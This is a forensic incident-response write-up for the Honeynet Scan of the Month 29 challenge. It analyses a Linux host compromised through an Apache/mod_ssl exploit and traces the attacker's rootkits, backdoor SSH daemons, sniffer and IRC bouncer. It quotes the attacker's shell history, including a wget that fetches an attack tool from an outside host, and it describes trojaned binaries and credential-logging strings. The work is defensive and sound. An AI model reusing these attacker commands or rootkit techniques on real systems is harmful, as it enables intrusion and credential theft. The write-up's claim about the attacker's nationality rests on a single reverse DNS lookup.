Honeynet Scan of the Month 29 Challenge


Wolfgang Behounek (Wolfgang.Behounek -at- gmx.de)

Contents

Setup of the Investigation Environment

Recording of the compromised Machine
Preparation
Recording
Analysis of the fetched data
Analysis of the network connections and process information
Analysis of deleted files
Creation of the mactime List
Mounting of the Image
Analysis of unallocated Disk Space
Analysis with the MD5 list
Summary
Answers to the Questions

Setup of the Investigation Environment

The data gathering and investigation was conducted on a Pentium III machine with 256MB memory with Redhat Linux 8.0 installed.
We downloaded and installed VmWare 4 as explained in the vmware.com online help. Next, we downloaded, verified and unpacked the virtual host files of the compromised machine. The VmWare workstation was started with the UID of an ordinary user, not root. At the first startup of the virtual machine, we noted that:
With vmware-config.pl, we reconfigured vmware so that the virtual interface vmnet0 is used for "host only"-networking, which allows a network connection between the host and the virtual machine. The IP address assigned to this interface is set to 192.168.1.1.
Next, we installed in a second virtual machine a "reference"-installation of Redhat Linux 7.2. We  used this machine to compile and statically link tools and commands being uses for the recording of the compromised machine. These tools were put on a CD-R.

Recording of the compromised Machine

Preparation

Because our actions will have some impact on the running system which will tamper with the fetched data, we have to consider in advance what data we really want and in which order we should fetch these data. The goal is to minimize the influence on the host and the data should be as unaltered as possible by our actions and by time.
A common recommodation for the fetching of data from the live host is that the most volatile data have to be saved first and the least volatile data last. So, we decided to fetch the data in the following order:
- active network connections
- cached data (arp cache, routing cache)
- process information, including an image of /dev/mem
- network interface information
- routing information
- kernel symbol table
- miscellanous (system uptime, uname...)
- All disk partitions
To miminize the trust in the system, we wanted to use as few as possible commands from the compromised machine. Instead, we prepared a CD-R with precompiled and statically linked versions of the gnu-binutils, fileutils and others, especially lsof and netcat. In addition, chkrootkit was put on this CD-R.
Because we wanted our data to be as consistent as possible, the data had to be fetched in a minimum of time. Ideally, we should have a snapshot of the complete system with all information at a given time. Therefore we decided to prepare a shellscript ("dosnapshot.sh") which was also put on the CD-R along with the statically linked tools.

Recording

Analysis of the fetched data

The analysis was taken on the vmware host.

Analysis of the network connections and process information

By looking at the output of ./lsof -i -n -P -l in the typescript, we see following extraordinary network connections:
COMMAND    PID     USER   FD   TYPE DEVICE SIZE NODE NAME
smbd      3137        0    6u  IPv4   4571       TCP *:2003 (LISTEN)
smbd      3137        0   16u  IPv4    976       TCP *:443 (LISTEN)
smbd      3137        0   17u  IPv4    977       TCP *:80 (LISTEN)
(swapd)   3153        0   16u  IPv4    976       TCP *:443 (LISTEN)
(swapd)   3153        0   17u  IPv4    977       TCP *:80 (LISTEN)
initd    15119        0    3u  IPv4  15617       TCP *:65336 (LISTEN)
initd    15119        0    5u  IPv4  15619       TCP *:65436 (LISTEN)
initd    15119        0    6u  IPv4  16157       TCP 192.168.1.79:65336->213.154.118.200:1188 (ESTABLISHED)
initd    15119        0    9u  IPv4  15909       TCP 192.168.1.79:1146->199.184.165.133:6667 (ESTABLISHED)
initd    15119        0   12u  IPv4  16191       TCP 192.168.1.79:1149->64.62.96.42:6667 (ESTABLISHED)
xopen    25239        0    8u  IPv4   9972       UDP *:3049
xopen    25239        0   16u  IPv4    976       TCP *:443 (LISTEN)
xopen    25239        0   17u  IPv4    977       TCP *:80 (LISTEN)
xopen    25241        0    8u  IPv4  12302       TCP *:3128 (LISTEN)
xopen    25241        0   16u  IPv4    976       TCP *:443 (LISTEN)
xopen    25241        0   17u  IPv4    977       TCP *:80 (LISTEN)
lsn      25247        0   16u  IPv4    976       TCP *:443 (LISTEN)
lsn      25247        0   17u  IPv4    977       TCP *:80 (LISTEN)
The output of "ps e -Alf --cols 3000" shows us following remarkable information:
040 S root      3137     1  0  69   0    -   475 do_sel 13:33 ?          0:03 smbd -D PWD=/tmp/sand HOSTNAME=localhost.localdomain MACHTYPE=i386-redhat-linux-gnu SHLVL=5 SHELL=/bin/false HOSTTYPE=i386 OSTYPE=linux-gnu HOME=/ TERM=dumb PATH=/usr/local/bin:/bin:/usr/bin _=/usr/bin/smbd -D
100 S root      3153     1  0  69   0    -   416 wait_f 13:33 ?          0:00 (swapd) PWD=/usr/bin HOSTNAME=localhost.localdomain MACHTYPE=i386-redhat-linux-gnu OLDPWD=/tmp/sand SHLVL=5 SHELL=/bin/false HOSTTYPE=i386 OSTYPE=linux-gnu HOME=/ TERM=dumb  PATH=/usr/local/bin:/bin:/usr/bin _=/usr/bin/(swapd)
040 S root      3247     1  0  69   0    -   368 do_sel 13:33 ?          0:00 syslogd -m 0 PWD=/tmp/sand HOSTNAME=localhost.localdomain MACHTYPE=i386-redhat-linux-gnu LANG=en_US SHLVL=5 SHELL=/bin/false HOSTTYPE=i386 OSTYPE=linux-gnu HOME=/ TERM=dumb PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin _=/sbin/initlog
140 S root      3252     1  0  69   0    -   496 do_sys 13:33 ?          0:00 klogd -2 PWD=/tmp/sand HOSTNAME=localhost.localdomain MACHTYPE=i386-redhat-linux-gnu LANG=en_US SHLVL=5 SHELL=/bin/false HOSTTYPE=i386 OSTYPE=linux-gnu HOME=/ TERM=dumb PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin _=/sbin/initlog
040 S root     25239     1  0  69   0    -   470 wait_f 15:32 ?          0:00 /lib/.x/s/xopen -q -p 3128 PWD=/lib/.x/s HOSTNAME=localhost.localdomain MACHTYPE=i386-redhat-linux-gnu SHLVL=4 SHELL=/bin/false HOSTTYPE=i386 OSTYPE=linux-gnu HOME=/ TERM=dumb PATH=/usr/local/bin:/bin:/usr/bin _=/lib/.x/s/xopen OLDPWD=/lib/.x
040 S root     25241     1  0  69   0    -   472 do_sel 15:32 ?          0:00 /lib/.x/s/xopen -q -p 3128 PWD=/lib/.x/s HOSTNAME=localhost.localdomain MACHTYPE=i386-redhat-linux-gnu SHLVL=4 SHELL=/bin/false HOSTTYPE=i386 OSTYPE=linux-gnu HOME=/ TERM=dumb PATH=/usr/local/bin:/bin:/usr/bin _=/lib/.x/s/xopen OLDPWD=/lib/.x
140 S root     25247     1  0  69   0    -   417 wait_f 15:32 ?          0:00 /lib/.x/s/lsn PWD=/lib/.x/s HOSTNAME=localhost.localdomain MACHTYPE=i386-redhat-linux-gnu SHLVL=4 SHELL=/bin/false HOSTTYPE=i386 OSTYPE=linux-gnu HOME=/ TERM=dumb PATH=/usr/local/bin:/bin:/usr/bin _=/lib/.x/s/lsn OLDPWD=/lib/.x
040 S root     15119     1  0  69   0    -   574 do_sel 16:02 ?          0:00 initd PWD=/etc/opt/psybnc HOSTNAME=sbm79.dtc.apu.edu LESSOPEN=|/usr/bin/lesspipe.sh %s USER=root
 MACHTYPE=i386-redhat-linux-gnu MAIL=/var/spool/mail/root INPUTRC=/etc/inputrc OLDPWD=/etc/opt BASH_ENV=/root/.bashrc LANG=en_US LOGNAME=root SHLVL=2 SHELL=/bin/bash USERNAME=root HOSTTYPE=i386 OSTYPE=linux-gnu HISTSIZE=1000 HOME=/root TERM=xterm PAT
H=:PATH SSH_TTY=/dev/pts/0 _=./initd

We can combine these two fields and the output of "./lsof -n -P -l" and notice:
We see that "smbd -D", "(swapd)", xopen and lsn were all listening on ports 80/tcp and 443/tcp and had log files in /var/log/httpd opened for write access. We can assume that these open files and ports were inherited from a parent process, this would apparently be the apache http server.

Analysis of deleted files

We tried to recover all deleted files with usable contents (i.e. size > 0) with these commands from sleuthkit:

# ils -f linux-ext3 -r ../sda1.dd | tail +4 | awk -F '|' '$11 > 0 {print $1}' | \
> while read inode
> do
>     icat ../sda1.dd $inode > sda1_icat_$inode
> done


This created the recovered data in the files sda1_icat_*. We could assign most of them their original filenames by looking in the output of lsof (to be found in the typescript):

sda1_icat_45307 - > /var/log/messages
sda1_icat_ 46914 -> /var/log/httpd/ssl_engine_log
sda1_icat_ 46924 - > /var/log/samba/log.nmbd
sda1_icat_ 46934 - > /var/log/httpd/access_log
sda1_icat_ 46935 - > /var/log/httpd/error_log

The remaining files could later be assigned according to the output of mactime (in timeline.20030807):
sda1_icat_ 46607 - > Directory inode of /var/log/samba
sda1_icat_ 46733 - > Directory inode of /var/log/httpd

The following 3 files contain very interesting information:

sda1_icat_ 46934 - > /var/log/httpd/access_log:
213.154.118.219 - - [10/Aug/2003:13:16:27 -0700] "GET / HTTP/1.1" 400 385 "-" "-"
213.154.118.219 - - [10/Aug/2003:13:16:37 -0700] "GET / HTTP/1.1" 400 385 "-" "-"
213.154.118.219 - - [10/Aug/2003:13:23:17 -0700] "GET /sumthin HTTP/1.0" 404 279 "-" "-"


sda1_icat_ 46914 -> /var/log/httpd/ssl_engine_log:

Following messages appear at the beginning of the file:
[10/Aug/2003 13:24:29 02937] [error] SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[10/Aug/2003 13:24:29 02937] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different


The remainder of the file contains messages like:
[10/Aug/2003 13:40:28 03272] [error] Child could not open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.800 (System error follows)
[10/Aug/2003 13:40:28 03272] [error] System: No such file or directory (errno: 2)


sda1_icat_ 46935 - > /var/log/httpd/error_log:
[Sun Aug 10 04:02:01 2003] [notice] Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b DAV/1.0.2 configured -- resuming normal operations
[...]
[Sun Aug 10 13:16:27 2003] [error] [client 213.154.118.219] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /
[Sun Aug 10 13:16:37 2003] [error] [client 213.154.118.219] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /
[Sun Aug 10 13:23:17 2003] [error] [client 213.154.118.219] File does not exist: /var/www/html/sumthin
[Sun Aug 10 13:24:29 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[Sun Aug 10 13:24:29 2003] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
[Sun Aug 10 13:32:38 2003] [error] mod_ssl: SSL handshake failed (server localhost.localdomain:443, client 213.154.118.219) (OpenSSL library error follows)
[Sun Aug 10 13:32:38 2003] [error] OpenSSL: error:1406908F:SSL routines:GET_CLIENT_FINISHED:connection id is different
The remainder of the file contains messages like:
[Sun Aug 10 13:40:28 2003] [error] mod_ssl: Child could not open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.800 (System error follows)
[Sun Aug 10 13:40:28 2003] [error] System: No such file or directory (errno: 2)


We note that:
This leads to the conclusion that the attacker, coming from 213.154.118.21, initially broke at 13:24:29 PDT into the machine using the same exploit as the Apache/mod_ssl Worm.

Creation of the mactime List

For further analysis we need a time line of file activity created by mactime. We created the timeline with following code:

# mkdir data
# cd data
# mactime -b body -i day dayindex -z PDT  > timeline


With the created file dayindex, which contains statistics about how many files are created/modified/read at a given day, we look up in the file timeline what happened at the dates Jul 14 and Aug 06. Because there were so many files/directories created at Jul 14, this is obviously the installation date. At Aug 06 lots of files were opened for reading, what probably was caused by the creation of the MD5 list of the system before it was compromised. Therefore, we can concentrate on what happened after Aug 06:
# mactime -b body  -z PDT 08/07/2003 > timeline.20030807

Mounting of the Image

For easy access to the files on the filesystem of the compromised machine we need to mount the image of the filesystem via a loopback device. We could achieve this with following commands:

# cp sda1.dd sda1.fsdebug.dd
# losetup /dev/loop1 /home/ich/sotm29/sda1.fsdebug.dd
# debugfs -w /dev/loop1
debugfs 1.27 (8-Mar-2002)
debugfs:  feature -needs_recovery
Filesystem features: has_journal filetype sparse_super
debugfs:  quit
# mount -t ext2 -o ro,noexec,noatime,nodev /dev/loop1 /mnt/tmp


Analysis of unallocated Disk Space

To analyse the unallocated space, we used the tools from sleuthkit and followed the hints in http://www.sleuthkit.org/sleuthkit/docs/ref_fs.html.

dls -f linux-ext3 ../sda1.dd  > sda1.dls
strings -t d sda1.dls > sda1.dls.strings

We searched trough the output file sda1.dls.strings and found following information:
The file inst
The timeline created by mactime tells us that from 15:30:48 to 15:30:54 PDT adore.o and  cleaner.o were built and sp0 and its files were copied to /usr/lib.

Analysis with the MD5 list 

Fortunately honeynet.org provided us with an MD5 list of all files before the machine was compromised. By creating an MD5 list of all files of the machine in its current state and comparing these 2 lists we are able to detect what files were deleted, changed and/or added.  

The list was created with following commands:
# cd /mnt/tmp
# find . -type f -print  | xargs --replace md5sum {} > /home/ich/sotm29/linusotm29.md5s
# cd /home/ich/sotm29
# cat linusotm29.md5s | perl -pe 's#(^[^.]*)\.(.*$)#$1$2#;' | sort -k 2 >sotm29-md5s.sort

The last command line with the perl code was neccessary to "normalize" the new list and thus make it comparable to the list provided by honeynet.org.

# wget http://project.honeynet.org/scans/scan29/linux-suspended-md5s.gz
# gzip -dc linux-suspended-md5s.gz | sort -k 2  > linux-suspended-md5s.sort
# diff linux-suspended-md5s.sort sotm29-md5s.sort > suspended-sotm29.diff

The output file suspended-sotm29.diff is provided here. In addition to our observations up to now we note following changes, additions or deletions:

/bin/ls, /bin/netstat, /bin/ps, /sbin/ifconfig, /usr/bin/top
We already know from the output of chkrootkit and by looking at the rootkit rk.tar.gz that these binaries are trojaned. By doing a e.g. "strings <binary>  | less" we see references to the files /dev/ttyoa,/dev/ttyof and /dev/ttyop, which contain what information should be hidden in the output of these 5 binaries. The original versions of the binaries were backuped in /usr/lib/libshtift.

/usr/bin/crontabs
/usr/bin/smbd -D
/usr/include/iceconf.h
/usr/include/icekey.h
/usr/include/icepid.h
/usr/include/iceseed.h
/etc/rc.d/init.d/functions
/usr/bin/logclear
/usr/bin/(swapd)
/usr/bin/x.pid
/usr/lib/libice.log
/usr/bin/sense
/usr/bin/sl2

/usr/lib/libsss
These are part of the (classic) rootkit rk.tar.gz, discussed above. /etc/rc.d/init.d/functions was changed to start /usr/bin/crontabs (which starts /usr/bin/smbd -D).

/usr/lib/sp0
/usr/lib/sp0_cfg
/usr/lib/sp0_key
/usr/lib/sp0_seed
/usr/lib/adore.o
/usr/lib/cleaner.o
/dev/hdx1
/dev/hdx2

We already have seen that these files are a ssh daemon and the kernel based rootkit adore, which probably never have been started. The files /dev/hdx1 and /dev/hdx2 are empty and were created during the installation of adore and sp0, as one can see in the timeline.

/lib/.x/
/lib/.x/.boot
/lib/.x/cl
/lib/.x/hide
/lib/.x/hide.log
/lib/.x/inst
/lib/.x/ip
/lib/.x/log
/lib/.x/install.log
/lib/.x/sk
/lib/.x/s
/lib/.x/s/lsn
/lib/.x/s/mfs
/lib/.x/s/pid
/lib/.x/s/port
/lib/.x/s/r_s
/lib/.x/s/s_h_k
/lib/.x/s/s_h_k.pub
/lib/.x/s/sshd_config
/lib/.x/s/xopen

There is  under /lib/.x the SucKIT kernel based rootkit, a ssh server (xopen) and a sniffer (lsn). The file .boot is the startup script: A "strings /lib/.x/s/xopen" reveals that this binary is another ssh daemon.

The file install.log contains repetive lines of the following form:
RK_Init: idt=0xffc17800, FUCK: Can't find sys_call_table[]
#####################################################
# SucKIT version 1.3b by Unseen <unseen@broken.org> #
#####################################################

This is an indication that SucKIT was never running successfully.

We saw in the output of lsof that lsn had /lib/.x/s/mfs opened for writing. Since this file contains logs of telnet- and ftp-connections, we can conclude this is the log file of the packet sniffer lsn.


/.bash_history
/root/sslstop/sslport
/root/sslstop/sslstop
/root/sslstop/sslport.c
/root/sslstop/sslstop.c
/root/sslstop.tar.gz
/etc/httpd/conf/httpd.conf

The file /.bash_history contains the shell history of a session:
id
uptime
./inst
hostname
hostname sbm79.dtc.apu.edu
cd /dev/shm/sc
./install sbm79.dtc.apu.edu
rm -rf /var/mail/root
ps x
cd /tmp
ls -a
wget izolam.net/sslstop.tar.gz
ps x
ps aux | grep apache
kill -9  21510  21511 23289  23292 23302

We see that after some installation, the attacker deleted the mail of  root, downloads an archive named sslstop.tar.gz and then obviously kills all apache processes.
According to the timeline, these files were created from 15:50:46 PDT to 15:52:00 PDT. The purpose of these files (as we see in the source code) is to alter the ssl-port of a apache-httpd by changing its configuration file /etc/httpd/conf/httpd.conf. In fact, if we look into /etc/httpd/conf/httpd.conf, its ssl-port has been changed to 114. The attacker then stopped httpd and tried to start the http daemon at 15:52:12. This failed because it missed the error log file.
Because there are some important commands missing in /.bash_history, we can assume that the attacker used several shells simultaneusly.

/etc/opt/psyBNC2.3.1.tar.gz
/etc/opt/psybnc and its contents
According to the timeline, at 15:57:12 the IRC bouncer psyBNC has been downloaded and extracted to /etc/opt/psybnc. It was then compiled between 15:58:03 and 16:02:36. The resulting binary has been renamed to "initd", then it was started.
We have seen in the output of lsof in the typescript that "initd" has a logfile named "/etc/opt/psybnc/log/psybnc.log" opened for writing. If we look in this file, we see a trace of the actions of the attacker with the IRC bouncer. He created 2 users (sic and redcode) and with them opened network connections to mesa.az.us.undernet.org and fairfax.va.us.undernet.org, both port 6667. These network connections were still open when we started the investigation.

Summary

Timeline of detected actions (given in PDT (GMT-7h))

13:24:29
Initial breakin using a buffer overflow hole during the SSL2 handshake process of OpenSSL. The attack originated from 213.154.118.21.
13:33:32 - 13:33:57
Download and installation of rk.tar.gz; start of "smbd -D" and "(swapd)".
14:14:01
Probable download of rootkit.tar.gz ("sonkeriki rootkit").
15:30:48 - 15:30:54
adore.o and  cleaner.o were built and sp0 and its files were copied to /usr/lib. sp0 and adore have probably never been started because of a missing startup file "kflushd".
15:32:15
Download, installation and start of suckit, xopen and lsn. The execution of suckit failed.
15:49:47 - 15:52:23
Download and execution of /root/sslstop.tar.gz

15:54:24
Failed restart of httpd.
15:57:12 - 16:02:36
Download and installation of psyBNC.

Answers to the Questions

1. Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system.

The easiest way to detect that the host was compromised is to look at the (virtual) system console. The kernel messages show that the network interface is set to promiscuous mode, which shouldn't happen in normal circumstances. This is a clear indication that there is something bad going on.
The process we used to further confirm is explained above in the chapter "preparation".

2. Explain the impact that your actions had on the running system.

3. List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).

This is an excerpt from the output of lsof -i -n -P -l, to be found in the typescript:
COMMAND    PID     USER   FD   TYPE DEVICE SIZE NODE NAME
smbd      3137        0    6u  IPv4   4571       TCP *:2003 (LISTEN)
initd    15119        0    3u  IPv4  15617       TCP *:65336 (LISTEN)
initd    15119        0    5u  IPv4  15619       TCP *:65436 (LISTEN)
initd    15119        0    6u  IPv4  16157       TCP 192.168.1.79:65336->213.154.118.200:1188 (ESTABLISHED)
initd    15119        0    9u  IPv4  15909       TCP 192.168.1.79:1146->199.184.165.133:6667 (ESTABLISHED)
initd    15119        0   12u  IPv4  16191       TCP 192.168.1.79:1149->64.62.96.42:6667 (ESTABLISHED)
xopen    25239        0    8u  IPv4   9972       UDP *:3049
xopen    25241        0    8u  IPv4  12302       TCP *:3128 (LISTEN)

4. Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?

This is an excerpt from the output of netstat -anp, to be found in the typescript:

tcp        0      0 192.168.1.79:65336      213.154.118.200:1188    ESTABLISHED 15119/initd (1)
tcp        0      9 192.168.1.79:1149       64.62.96.42:6667        ESTABLISHED 15119/initd (2)
tcp        0      0 192.168.1.79:1146       199.184.165.133:6667    ESTABLISHED 15119/initd
(3)

These connections are of the process named initd, which is in fact the irc-bouncer psyBNC.
(1): as we have seen from the output of tcpdump, this is the command connection to the attacker's machine.
(2) and (3) are remote control sessions to the irc-servers fairfax.va.us.undernet.org and mesa.az.us.undernet.org.

5. How many instances of an SSH server were installed and at what times?

From the timelist created by mactime, we can derive the installation times of following ssh servers:
Time PDT
Executable
Remarks
13:33:32
/usr/bin/smbd -D
Part of rk.tar.gz
15:30:48
/usr/lib/sp0
Installed together with adore
15:32:16
/lib/.x/s/xopen
Installed together with SucKIT

6. Which instances of the SSH servers from question 5 were run?

At the time of the investigation, "smbd -D" and xopen were running. There is no evidence that sp0 ever has been started.

7. Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?

A "strings /usr/sbin/smbd\ -D" reveals following lines.

+-[ User Login Incoming ]----------- --- --- - -
| username: %s password: %s%s hostname: %s
+----------------------------------- ----- --- -- -- -

So we can assume that this ssh server was modified to log the login informations. Since we cannot see in the output of strings a reasonable reference to a logfile, and we else cannot find any string containing "User Login Incoming" in the disk and memory images, we assume that either there was no information collected at all, or the information was passed over network.

8. Which system executables (if any) were trojaned and what configuration files did they use?

From the output of chkrootkit, the comparison of the MD5 lists and the analysis of rk.tar.gz we see that the following executables were trojaned. We detected the configuration files by doing a "strings <executable> | less".

9. How and from where was the system likely compromised?

As we saw from the recovered error_log of httpd, the machine was compromised at 13:24:29 PDT using a buffer overflow hole during the SSL2 handshake process of OpenSSL. The attack originated from 213.154.118.21.
This leads to the conclusion that the attacker, coming from 213.154.118.21, initially broke at 13:24:29 PDT into the machine using the same exploit as the Apache/mod_ssl worm.
Since this only gave him a shell with the UID of the http-daemon (i.e. 48/apache), we have to look how he could gain root access. We can find a hint in the file /var/log/maillog of the compromised machine where we see that mails were sent to a recipient named "newptraceuser@yahoo.com". We can guess from this that the attacker used an automated exploit for the ptrace bug, found in kernel <=2.4.20 (see CAN-2003-0127). This allows a local user (in our case 48/apache) to gain root privileges.

Bonus Question: What nationality do you believe the attacker(s) to be, and why?

A "dig -x 213.154.118.21" shows that the fully qualified domainname for the attacker's host is dim99-05.is.pcnet.ro. So we can conclude that the attacker lives in romania.